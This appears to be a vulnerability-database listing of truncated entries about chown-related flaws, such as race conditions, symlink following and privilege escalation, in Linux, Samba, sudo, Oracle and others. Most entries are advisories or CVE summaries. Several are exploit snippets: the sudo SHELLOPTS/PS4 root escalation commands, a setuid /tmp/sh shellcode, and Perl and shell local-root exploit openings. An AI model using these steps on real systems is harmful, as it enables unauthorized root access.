XFS rc script race conditions

Insecure usage of chown for temporary file allows to change ownersip of arbitrary file...

iDefense Security Advisory 07.12.07: Red Hat Enterprise Linux init.d XFS Script chown Race Condition Vulnerability

Red Hat Enterprise Linux init.d XFS Script chown Race Condition Vulnerability iDefense Security Advisory 07.12.07 http://labs.idefense.com/intelligence/vulnerabilities/ Jul 12, 2007 I. BACKGROUND XFS is the X Font Server, and is used to render fonts for the X Window System. "init.d" refers to the...

McAfee VirusScan for Mac (Virex) 7.7 - Local Privilege Escalation

!/usr/bin/perl http://www.digitalmunition.com written by kf kflistsatdigitalmunitiondotcom Following symlinks is bad mmmmmmmmmmkay! $dest = "/var/cron/tabs/root"; $tgts"0" = "Virex 7.7.dmg:"/Library/Application Support/Virex/VShieldExclude.txt" "; unless $target = @ARGV print "\n\nUsage: $0...

GLIBC (via /bin/su) Local Root Exploit

No description provided by source. / Working exploit for glibc executing /bin/su To exploit this i have used a technique that overwrites the .dtors section of /bin/su program with the address of the shellcode, so, the program executes it when main returns or exit is called Thanks a lot to rwxrwxr...

Linux Kernel 2.6.13 < 2.6.17.4 - 'sys_prctl()' Local Privilege Escalation (3)

/ $Id: raptorprctl.c,v 1.1 2006/07/13 14:21:43 raptor Exp $ raptorprctl.c - Linux 2.6.x suiddumpable vulnerability Copyright c 2006 Marco Ivaldi The suiddumpable support in Linux kernel 2.6.13 up to versions before 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial of...

Sudo 1.6.8p9 - SHELLOPTSPS4 Environment Variables Privilege Escalation

Sudo 1.6.8p9 - SHELLOPTSPS4 Environment Variables Privilege Escalation Sudo local root escalation privilege vuln versions : sudo int main setuid0; system"/bin/sh"; % % gcc -o egg egg.c % setenv SHELLOPTS xtrace % setenv PS4 '$chown root:root egg' % sudo ./x.sh echo Getting root!! Getting root!! %...

linux/x86 chroot &amp; standart 66 bytes

No description provided by source. Linux/x86 chroot and standart shellcode. By Okti http://okti.nm.ru ---------------------------------------------------------------------------------------------- / Mkdir and Chroot are written in C: / includestdio.h includeunistd.h includesys/types.h...

cdrdao (Mandrake 10.2) - Local Privilege Escalation

cdrdao Mandrake 10.2 - Local Privilege Escalation !/bin/sh cdrdao local root exploit newbug at chroot.org IRC: irc.chroot.org chroot May 2005 echo "cdrdao private exploit" echo "This exploit only for Mandrake series" echo "newbug at chroot.org" echo "May 2005" echo "checking if cdrdao is setuid...

CVE-2004-1603

CVE-2004-1603 affects cPanel 9.4.1-RELEASE-64, where the application follows hard links, enabling local users to (1) read arbitrary files via the backup feature or (2) chown arbitrary files via the .htaccess file, regardless of Front Page extension status. The root cause is hard link handling in ...

Debian DSA-262-1 : samba - remote exploit

Sebastian Krahmer of the SuSE security audit team found two problems in samba, a popular SMB/CIFS implementation. The problems are : - a buffer overflow in the SMB/CIFS packet fragment re-assembly code used by smbd. Since smbd runs as root an attacker can use this to gain root access to a machine...

freebsd/x86 chown 0:0 , chmod 6755 & execve /tmp/sh 44 bytes

freebsd/x86 chown 0:0 , chmod 6755 & execve /tmp/sh 44 bytes. Shellcode exploit for freebsdx86 platform / FreeBSD shellcode chown"/tmp/sh", 0, 0; chmod"/tmp/sh", 06755; 44 bytes Claes M. Nyberg 20020209 , / / void mainvoid asm" xor %eax, %eax eax = 0 pushl %eax string ends with NULL pushl...

bftpd < 1.0.14 chown Command Overflow

Binary data 1828.prm...

SUSE-SA:2004:024: kernel

The remote host is missing the patch for the advisory SUSE-SA:2004:024 kernel. This kernel is vulnerable to a race condition in the 64-bit file offset handling code. The file offset pointer fpos is changed during reading, writing, and seeking through a file to point to the current position in a...

CVE-2003-0704

KisMAC before 0.05d is affected. The vulnerability arises because it trusts user-supplied variables when chown’ing files or directories, allowing a local user to escalate privileges via the $DRIVER_KEXT environment variable in the scripts: viha_driver.sh, macjack_load.sh, airojack_load.sh, setuid...

DEBIAN-CVE-2003-0086

The code for writing reg files in Samba before 2.2.8 allows local users to overwrite arbitrary files via a race condition involving chown...

CVE-2003-0086

The code for writing reg files in Samba before 2.2.8 allows local users to overwrite arbitrary files via a race condition involving chown...

Multiple bugs in Samba

Buffer overflow on SMB/CIFS packet re-assembly, chown race conditions...

[SECURITY] [DSA-262-1] samba security fix

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ------------------------------------------------------------------------ Debian Security Advisory DSA-262-1 [email protected] http://www.debian.org/security/ Wichert Akkerman March 15, 2003 -...

Low: Red Hat Security Advisory: fileutils security update

Updated fileutils packages are available which fix a race condition in recursive remove and move commands. The fileutils package includes a number of GNU versions of common and popular file management utilities. A race condition in recursive use of rm and mv commands in fileutils 4.1 and earlier...

ASI Oracle Security Alert: CHOWN Path Environment Variable Vulnerability

CHOWN Path Environment Variable Vulnerability For additional details, the official advisories from Oracle Corporation can be downloaded from: http://otn.oracle.com/deploy/security/pdf/dbsmpalert.pdf Summary: The vulnerability only affects Oracle 8.0.5 and 8.1.5. The dbsnmp file executes the CHOWN...